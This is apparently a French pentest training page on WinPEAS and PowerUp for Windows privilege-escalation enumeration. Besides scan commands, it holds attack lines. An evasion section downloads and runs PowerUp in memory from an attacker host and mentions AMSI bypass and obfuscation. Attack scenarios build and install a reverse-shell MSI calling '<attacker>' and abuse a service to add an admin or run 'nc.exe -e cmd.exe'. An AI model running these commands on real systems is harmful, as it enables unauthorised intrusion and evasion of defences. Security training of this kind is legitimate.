WinPEAS et PowerUp

Outils d'énumération automatisée qui trouvent des vecteurs d'élévation de privilèges en quelques secondes

Ce que vous allez découvrir

🔧 Essayez maintenant

Téléchargez WinPEAS et examinez ses options d'aide :

# Télécharger WinPEAS (sur votre machine d'attaque)
wget https://github.com/carlospolop/PEASS-ng/releases/latest/download/winPEASx64.exe

# Transférer vers la cible et exécuter
.\winPEASx64.exe -h
.\winPEASx64.exe quiet

Vous verrez : Une sortie complète couvrant les infos système, privilèges utilisateur, services, tâches planifiées, réseau, et des centaines d'autres vérifications - le tout codé par couleur selon la sévérité.

Compétences que vous maîtriserez

Comprendre l'énumération automatisée

WinPEAS et PowerUp sont les outils standard de l'industrie pour l'énumération d'élévation de privilèges Windows. Ils automatisent des centaines de vérifications qui prendraient des heures à effectuer manuellement. Cependant, ils sont également bien connus des défenseurs, donc savoir les utiliser efficacement - et discrètement - est essentiel.

Présentation de WinPEAS

WinPEAS (Windows Privilege Escalation Awesome Scripts) fait partie de la suite PEASS-ng. Il est disponible en exécutable ou script batch et scanne les mauvaises configurations sur l'ensemble du système :

# Exécuter le scan complet (par défaut)
.\winPEASx64.exe

# Exécuter le scan quiet (moins de sortie, plus rapide)
.\winPEASx64.exe quiet

# Exécuter uniquement des vérifications spécifiques
.\winPEASx64.exe servicesinfo
.\winPEASx64.exe userinfo
.\winPEASx64.exe systeminfo

# Rediriger la sortie vers un fichier (pour revue)
.\winPEASx64.exe > winpeas_output.txt

WinPEAS utilise un code couleur pour indiquer la sévérité :

Présentation de PowerUp

PowerUp est un script PowerShell du framework PowerSploit. Contrairement au scan complet de WinPEAS, PowerUp fournit des fonctions individuelles que vous pouvez appeler selon vos besoins :

# Charger PowerUp
Import-Module .\PowerUp.ps1

# Exécuter toutes les vérifications
Invoke-AllChecks

# Ou exécuter depuis la mémoire (AMSI peut bloquer)
IEX(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1')
Invoke-AllChecks

Fonctions clés de PowerUp

PowerUp fournit des fonctions spécifiques pour l'énumération ciblée :

# Énumération des services
Get-UnquotedService              # Trouver les chemins de service non quotés
Get-ModifiableServiceFile        # Services avec binaires inscriptibles
Get-ModifiableService            # Services que nous pouvons reconfigurer

# Vérifications du registre
Get-RegistryAlwaysInstallElevated  # Vérifier AlwaysInstallElevated
Get-RegistryAutoLogon              # Trouver les credentials autologon

# Tâches planifiées et démarrage
Get-ModifiableScheduledTaskFile   # Binaires de tâches planifiées inscriptibles

# Fonctions d'exploitation
Write-ServiceBinary              # Remplacer un binaire de service
Install-ServiceBinary            # Installer un nouveau service
Invoke-ServiceAbuse              # Abuser d'un service modifiable

Outils et techniques

Utilisation détaillée de WinPEAS

WinPEAS accepte des paramètres pour se concentrer sur des domaines spécifiques :

# Modules de scan disponibles
.\winPEASx64.exe systeminfo       # Informations système de base
.\winPEASx64.exe userinfo         # Informations utilisateur et groupe
.\winPEASx64.exe processinfo      # Processus en cours
.\winPEASx64.exe servicesinfo     # Services Windows
.\winPEASx64.exe applicationsinfo # Applications installées
.\winPEASx64.exe networkinfo      # Configuration réseau
.\winPEASx64.exe windowscreds     # Chasse aux credentials
.\winPEASx64.exe browserinfo      # Credentials enregistrés du navigateur
.\winPEASx64.exe filesinfo        # Fichiers intéressants
.\winPEASx64.exe eventsinfo       # Événements de sécurité

# Combiner les modules
.\winPEASx64.exe servicesinfo windowscreds

Techniques d'évasion

Les deux outils sont fortement signaturés. Voici comment réduire la détection :

# Utiliser la version .bat de WinPEAS (moins détectée)
.\winPEAS.bat

# Exécution obfusquée de PowerUp
$text = (New-Object Net.WebClient).DownloadString('https://<attacker>/PowerUp.ps1')
IEX $text

# Contourner AMSI pour PowerShell (diverses techniques)
# Note : Les bypasses AMSI changent fréquemment car Microsoft les patche

# Utiliser Invoke-Obfuscation sur PowerUp avant déploiement
# https://github.com/danielbohannon/Invoke-Obfuscation

# Exécuter WinPEAS depuis la mémoire avec un loader
# Embarquer dans un loader C# ou utiliser la réflexion

Outils alternatifs

Quand WinPEAS et PowerUp sont bloqués, des alternatives existent :

• Seatbelt - Outil C# pour survey d'hôte, moins détecté que WinPEAS
• PrivescCheck - Script privesc PowerShell, alternative à PowerUp
• JAWS - Just Another Windows (Enum) Script, basé sur PowerShell
• winPEASps1 - Version PowerShell de WinPEAS

Scénarios d'attaque réels

# Sur la machine attaquante
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<attacker> LPORT=443 -f msi -o shell.msi

# Sur la cible
msiexec /quiet /qn /i \\<attacker>\share\shell.msi

# Abuser du service pour ajouter un utilisateur aux admins locaux
Invoke-ServiceAbuse -Name 'VulnerableService' -UserName 'hdna' -Password 'Password123!'

# Ou exécuter un reverse shell
Invoke-ServiceAbuse -Name 'VulnerableService' -Command "C:\temp\nc.exe -e cmd.exe <attacker> 443"

Contre-mesures défensives

Questions fréquemment posées

🎯 Énumération automatisée - Équipé !

Vous savez maintenant comment utiliser WinPEAS et PowerUp pour identifier rapidement les vecteurs d'élévation de privilèges. Combiné avec l'énumération manuelle, vous avez une couverture complète de n'importe quel système Windows.

Prêt à exploiter les mauvaises configurations de services →